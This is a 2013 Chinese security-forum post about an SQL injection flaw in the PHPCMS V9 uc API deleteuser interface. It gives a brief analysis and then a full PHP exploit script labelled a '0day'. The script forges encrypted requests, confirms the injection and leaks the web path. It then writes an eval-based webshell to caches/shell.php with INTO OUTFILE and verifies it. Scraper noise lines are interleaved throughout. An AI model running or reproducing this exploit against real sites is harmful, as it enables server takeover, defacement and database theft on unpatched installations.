中国网络渗透测试联盟
标题:
PHPCMS V9 uc API SQL注入漏洞
[打印本页]
作者:
admin
时间:
2013-2-9 01:22
标题:
PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
?; c2 k. R# W: C% G& y
4 @) b! Z* X& c) i4 T1 _ T9 ]
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
' F0 L/ g7 G2 |# G: M, E
o" t5 }# v$ `: A# C7 W
漏洞分析:
9 w9 g& P% M4 }9 J% ]
1.未启用ucenter服务的情况下uc_key为空
) Y) Q: G4 q: Y* E( R! r9 S2 F
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
6 ?8 u2 y( g& |7 b; O4 D4 `
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
5 z" ?: l0 v2 J5 Z
public function deleteuser($get,$post) {
8 M5 R: L* \- [0 \, i2 K0 {
pc_base::load_app_func('global', 'admin');
0 s) `6 W( d& \6 k) I
pc_base::load_app_class('messagequeue', 'admin' , 0);
/ p) w; u) ^, `$ L6 b
$ids = new_stripslashes($get['ids']);
+ i: |, f% l0 o5 V! T1 H
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
0 L. P# G2 j; \6 ?5 ?2 U. q
SQL语句为
' _. {/ ]+ n! q# k u+ f: _6 L
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
0 A- [6 G# H4 w* E" b: K6 n
* _7 O" y! {0 S- K# H
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
) w; S* j( @( v8 L' F2 W; S/ ~
<?php
|7 _: H9 V) P- K- O; ]1 W8 S) p
print_r('
& T" C8 _2 F7 u- ?+ ~
---------------------------------------------------------------------------
" p; u V# f3 g' I1 t, H
PHPcms (v9 or Old Version) uc api sql injection 0day
, |* l. P+ _ }" R. R$ @
by rayh4c#80sec.com
/ x9 r8 [: g/ G' N. F
---------------------------------------------------------------------------
) G# X5 n N2 R% ~1 a
');
) s6 q! t: X" u' ?
( ^1 y' | X' v5 q% ~
if ($argc<3) {
3 K- \) i" F* D6 V, o' k7 d) o
print_r('
; ?, l J5 X; {
---------------------------------------------------------------------------
! k7 D4 e0 n' ^- Z
Usage: php '.$argv[0].' host path OPTIONS
* H" H" _: T- M! `" v# f
host: target server (ip/hostname)
2 K9 l. q1 @6 q! Z. c2 ~. S. c
path: path to phpcms
6 f0 v W" F6 J/ I
Options:
) q( W) e" H2 n" d
-p[port]: specify a port other than 80
. c+ c2 n# ~( h k& J
-P[ip:port]: specify a proxy
: a; T$ _3 x8 X9 x9 H
Example:
* B/ W( d7 t+ x
php '.$argv[0].' localhost /
# \3 A9 c# E" j3 J
php '.$argv[0].' localhost /phpcms/ -p81
& j; Y1 k% Y# W
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
1 x" j7 [) B4 I! _0 L; H
---------------------------------------------------------------------------
' h( j/ x2 v3 ?
');
" X" m( s1 w0 T, J' `& Y
die;
/ I8 w% M6 j4 b& O. C2 T! H7 S
}
( N$ D5 h" q6 _1 | ` _1 H* _" n
$ V4 |" f1 a, X
error_reporting(7);
- V/ M+ L% O9 W% f% t8 E* x9 _: J
ini_set("max_execution_time",0);
+ U; R, ?6 [0 u: ~# o: m
ini_set("default_socket_timeout",5);
# f4 t4 C9 [) n y5 A
% j, s" ~( U7 h
function quick_dump($string)
4 W8 G; O: @1 }$ V, T
{
W3 _2 L& `- d; |7 Z8 i$ r! g1 l
$result='';$exa='';$cont=0;
0 N U7 Y5 X+ w- h8 u7 S b1 I
for ($i=0; $i<=strlen($string)-1; $i++)
: U& \/ I0 _8 ?2 S% |# l. V
{
% {( }- _( V: D' a% b
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
; q' Z* h# m$ N1 O) M, d+ W/ R/ g
{$result.=" .";}
2 a5 M/ l# \4 P2 V* Q! V
else
/ x* v9 R$ I. [( _/ p( E1 W
{$result.=" ".$string[$i];}
* k' p. ~ A% h7 _# G+ ?- i( A
if (strlen(dechex(ord($string[$i])))==2)
' ]3 I2 K# D" G2 J1 B
{$exa.=" ".dechex(ord($string[$i]));}
8 b2 U4 v' [" ?! Z* c0 V$ o; g
else
5 |! O* b: ]/ R* ^# W
{$exa.=" 0".dechex(ord($string[$i]));}
4 ^3 a `. u2 I+ C' ^- v. m
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
( G' f( r! @- _7 C5 V, R- Y
}
, @9 Q0 ^. A' M
return $exa."\r\n".$result;
$ q- J* u6 _/ V( O; ?& V2 N& K2 q4 a- N
}
! q6 Y8 Q8 O* k( H8 W- M _# a
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
Q& ~0 q2 s0 M% U, g& d0 o+ b) H
) _3 D4 R4 L! m% s% ]* D
function send($packet)
3 j% R2 j# m# Q5 t8 n d
{
# K/ B# m* Y7 Z% p) f+ A* F, N
global $proxy, $host, $port, $html, $proxy_regex;
! P: q, p; u7 j) O G) L0 x+ ]1 g; _
if ($proxy=='') {
! R9 E; b( F9 Y7 T4 v
$ock=fsockopen(gethostbyname($host),$port);
, T# D- ]! M r1 P
if (!$ock) {
4 G5 l) O5 z% G& b) K- [
echo 'No response from '.$host.':'.$port; die;
: O+ j2 X) V$ t/ d+ k
}
8 c, T) N/ Z( m3 r) o$ R: e, ?/ z
}
; I7 X! j0 y% R' C6 D
else {
" H6 ~4 L0 X- o! e8 t! X5 v
$c = preg_match($proxy_regex,$proxy);
$ e3 T8 u7 T4 x; v6 u/ B5 V
if (!$c) {
1 l% H/ H* O8 j4 m: @
echo 'Not a valid proxy...';die;
; g+ ~5 {3 @. R0 d% ?
}
: \- ~5 u1 G* z+ T' z* L9 p' F
$parts=explode(':',$proxy);
& y" h1 ~' E, d1 l6 X8 ^' b* N
$parts[1]=(int)$parts[1];
9 K0 y; Z s) ~/ P1 M9 r$ t
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
; d; w% P e% Q$ ?8 T9 e1 i
$ock=fsockopen($parts[0],$parts[1]);
( o; ~1 W8 \4 B2 \
if (!$ock) {
* k/ g3 j. A( p+ r8 Y
echo 'No response from proxy...';die;
8 p; T! |7 i3 Z! H! s! k% H+ _
}
! m1 M6 p7 ~2 d) T
}
7 p' ]/ E2 I% Y0 H
fputs($ock,$packet);
. `2 J# W8 l) d' V" o
if ($proxy=='') {
# e+ d0 F" B/ x& a
$html='';
+ w" I d W% a ~2 E2 t2 @- f
while (!feof($ock)) {
' u; ?" v5 w7 o3 R$ m2 H2 c
$html.=fgets($ock);
6 K5 s; j/ X `# L' j) L
}
1 O- [8 x2 c1 r6 q: k# i6 E
}
$ g3 H7 l; [8 C) {6 x
else {
N! F7 c( {- g* Z
$html='';
/ G8 [- S# J" a4 k
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
" S# J# s' d& D- d4 l x
$html.=fread($ock,1);
M; i w5 ~) S) c
}
7 @: y) g0 w4 {# d/ C; K
}
' I- l! u U$ q$ Z. h& j4 `
fclose($ock);
$ p2 Q5 c# P" {
}
4 |7 q q" ~% S
6 i% A: P! c1 f8 ]; G r1 [: m8 Z9 s) b
$host=$argv[1];
8 i' q7 i2 {1 }$ M% q: i. b- ^
$path=$argv[2];
: x% P7 N# c# |# ? W- ]
$port=80;
! p' ^. b1 S, }1 i5 n3 F' a
$proxy="";
4 _+ x6 K/ z3 ?3 ^/ z5 K- h
for ($i=3; $i<$argc; $i++){
8 ]! _% m. Q' Z: n) F' `0 z
$temp=$argv[$i][0].$argv[$i][1];
7 x+ ?3 K; Y, J
if ($temp=="-p")
- s! r$ X: ^/ o1 i
{
% G8 S+ p C2 k% z7 T
$port=(int)str_replace("-p","",$argv[$i]);
: W' P5 d0 L4 \, S$ I k' C
}
4 d) j4 _0 p4 l4 \# z8 I
if ($temp=="-P")
% C3 o- ]4 T" `3 h
{
1 ?4 E5 z- W4 @" S! `
$proxy=str_replace("-P","",$argv[$i]);
' k' z/ p- }' E3 [5 @& ]8 m1 i$ ?! l
}
; t/ R8 z; e6 Y0 Q3 R2 ]7 B
}
3 k6 e: s- ~% M. G/ H) N u0 o; l9 R
$ P6 ~9 p Z$ e
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
+ C4 x2 N) J5 K( O" ` t
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
1 X' `& M8 F4 K3 X* G S. O
# K( L0 `+ @3 S6 r9 L2 J. t
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
8 {$ o0 ~. c$ V- o+ Q; O
% \, _+ ^5 A4 ^+ N
$ckey_length = 4;
1 X( g0 I/ z% L- ~9 n5 b' U
: C6 W- i, n c$ W& d
$key = md5($key ? $key : '');
& m. F9 w) ]4 R; F) F T4 C4 R6 m/ j
$keya = md5(substr($key, 0, 16));
" b( T1 Z: X c9 a1 [% a, V5 E
$keyb = md5(substr($key, 16, 16));
: x7 J4 T8 U$ B
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$ I6 U- U) t6 d" M7 A8 X- s
1 I' V4 N) h0 S) ?& {- r1 \
$cryptkey = $keya.md5($keya.$keyc);
5 S5 S* l1 c' M- X5 W2 I
$key_length = strlen($cryptkey);
: w2 g* ^0 s& {
' k8 s5 W7 `5 j- O. x3 U; |! n, x
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
# p1 o9 J5 J% D9 |
$string_length = strlen($string);
v! d$ O9 a- R4 }5 m
6 J/ u* i* ~% k& G/ _. ^, V) q
$result = '';
1 s; |4 q. i/ _0 |6 g* K" k4 _$ H
$box = range(0, 255);
1 ?$ x" z9 ]4 [/ u! D2 Q5 c
7 R# X# u% |3 }; ~! u, B Z) O
$rndkey = array();
* Y+ ?; _6 D+ n/ @
for($i = 0; $i <= 255; $i++) {
, ^: A$ Q# `+ n* L6 Y
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
6 ]) |5 V: V" Y& t/ T9 H5 ?5 W$ F( h9 p
}
2 u# z) F- w# `1 p1 C% @( T
. v$ G1 V* |" q8 E- {0 [+ T
for($j = $i = 0; $i < 256; $i++) {
" I0 b& c- u) |- g5 Y
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
, F2 V$ R& Q8 k; H8 S% ^) J
$tmp = $box[$i];
) p8 i! R6 A. R. k8 `! k% u' D
$box[$i] = $box[$j];
0 T2 a& s. l; `+ |8 }
$box[$j] = $tmp;
$ ] R8 m" `6 y0 i) z, S
}
2 ^/ M. P0 Y3 P8 D
& z" ]. I# Y& p/ f
for($a = $j = $i = 0; $i < $string_length; $i++) {
, z% J7 A" W: @' |$ ~: A! B- Q( D; F
$a = ($a + 1) % 256;
+ M+ n8 i7 O5 A7 N& S& L
$j = ($j + $box[$a]) % 256;
3 O5 h+ W1 O- i! D; |
$tmp = $box[$a];
4 l4 c: b3 s/ }7 _
$box[$a] = $box[$j];
5 q w: E a' D; [. j0 d: ?9 t, o
$box[$j] = $tmp;
+ W. f2 R9 u7 N ?5 w" l
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
. E, C- I/ G7 r) z) \
}
, _$ l' W6 O& I7 A; ?
. R- d. c& ]) P# N8 x
if($operation == 'DECODE') {
/ s' k& w$ T# r& Z0 B9 E
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
& _ N" o, M) N w
return substr($result, 26);
/ ~8 ^3 d, u, S; k
} else {
+ O7 r* m9 ]4 |+ k& ]) r
return '';
( I6 i$ V0 ~7 h7 ^
}
7 U- J+ p) _* n4 Y( ~. w: @; A9 t0 \
} else {
4 W" \+ R1 s" y5 x5 ~5 o3 [
return $keyc.str_replace('=', '', base64_encode($result));
0 }4 z/ i% U" I0 W
}
T, R/ {6 d6 U+ ~! p4 i- ]0 z
) [% {- H5 @2 c% o7 T3 U
}
+ G& A$ ~; u/ Y
4 |) _1 b# E% z- f! a
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
5 `5 f: M c0 y5 N5 ^
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
$ G. z; i+ l. {+ v1 I
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
; K, {& T% g) H% p( p5 J* l) K h
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
6 f4 p8 k: g% z
$packet.="User-Agent: Mozilla/5.0\r\n";
5 g% R6 }9 {& M# s: Q, e/ D
$packet.="Host: ".$host."\r\n";
( f1 e! J) z0 U) z& w4 N" U$ e
$packet.="Connection: Close\r\n\r\n";
* U5 F, M& [, \. w8 L6 v
send($packet);
7 s1 \: o o( N$ s! [
if(strpos($html,"MySQL Errno") > 0){
! H2 ]" z- Z& U3 m
echo "[2] 发现存在SQL注入漏洞"."\n";
6 z8 v; O" ]. E9 }4 `
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
6 p& k3 {" D6 R# B& [# d6 ~9 N5 Z
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
' B+ L7 t3 Q1 s. E! x
$packet.="User-Agent: Mozilla/5.0\r\n";
1 D* a2 p$ }8 m: _5 D. b
$packet.="Host: ".$host."\r\n";
' q& i L# @- `5 Z
$packet.="Connection: Close\r\n\r\n";
0 V- Y7 h, D: w. I; U5 i# Q' g Y
send($packet);
6 c8 q" D: M# f+ l4 h3 E5 b
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
2 X3 S9 B5 q# ~9 g) G
//print_r($matches);
5 D# l0 Y: \( X# M3 y
if(!empty($matches)){
" ~ r- K/ }+ E7 c6 _2 d
echo "[4] 得到web路径 " . $matches[0]."\n";
6 }5 ^, P4 m; x0 h$ j% \
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
( {, \. j% _2 |" g
$SQL = "time=999999999999999999999999&ids=1)";
( R8 _5 B% P- \
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
! x2 e* a! a' s( B7 _( E' W& c2 L' ~( K
$SQL.="&action=deleteuser";
: o$ |$ t7 A# C, V
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
- z: K4 V2 X. [% d7 E5 C
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
* t3 j9 Y4 e, i* L, C; G! _1 {) }5 l
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$ e2 {! y5 M, U4 Z% E
$packet.="User-Agent: Mozilla/5.0\r\n";
. ^7 z$ W% R9 o, Q1 w5 z! a6 C
$packet.="Host: ".$host."\r\n";
) F1 L' n, ]* f" d% z) F
$packet.="Connection: Close\r\n\r\n";
3 g) w; e# A/ T0 {
send($packet);
; x! U& P# h( D. n5 a, Q. |
if(strpos($html,"Access denied") > 0){
, K' e9 ]3 G; U2 e* S' G2 H
echo "[-] MYSQL权限过低 禁止写入文件
";
! s* P5 x" `3 T% h% b+ }7 V0 n, ?
die;
v. i; k* b9 X2 o* @' i, h
}
% C$ \- l F( ]. S: H
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
% g2 i" @/ d% _ k" h" s
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
9 ~$ U0 C( Q+ ^4 f
$packet.="User-Agent: Mozilla/5.0\r\n";
2 X( E& @4 Z% s) ^
$packet.="Host: ".$host."\r\n";
3 c! I* e' s0 w7 |( G3 ?
$packet.="Connection: Close\r\n\r\n";
4 h. I: d9 w; K5 {2 [7 Z* y3 h; A
send($packet);
5 A- N! S, i( C1 d
if(strpos($html,"<title>phpinfo()</title>") > 0){
3 t9 m( Q" g+ \7 R' N
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it
";
8 R% v/ ?6 }% h
}
6 W) z2 ]9 r9 c0 u( }
}else{
! i. g( @0 K# S) x
echo "[-]未取到web路径
";
7 k& r5 ^/ |! I+ M0 o; c
}
0 h% [8 A& [6 s, Z/ P) B. {
}else{
% p: c0 e) e/ T" \* I
echo "[*]不存在SQL注入漏洞"."\n";
- J. f# y2 M. s$ H
}
9 y& x2 I# K2 v. ^- w/ a
; M2 J0 X; k5 D+ R7 Q5 t$ T
?>
7 P8 E5 a) K/ t. }
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2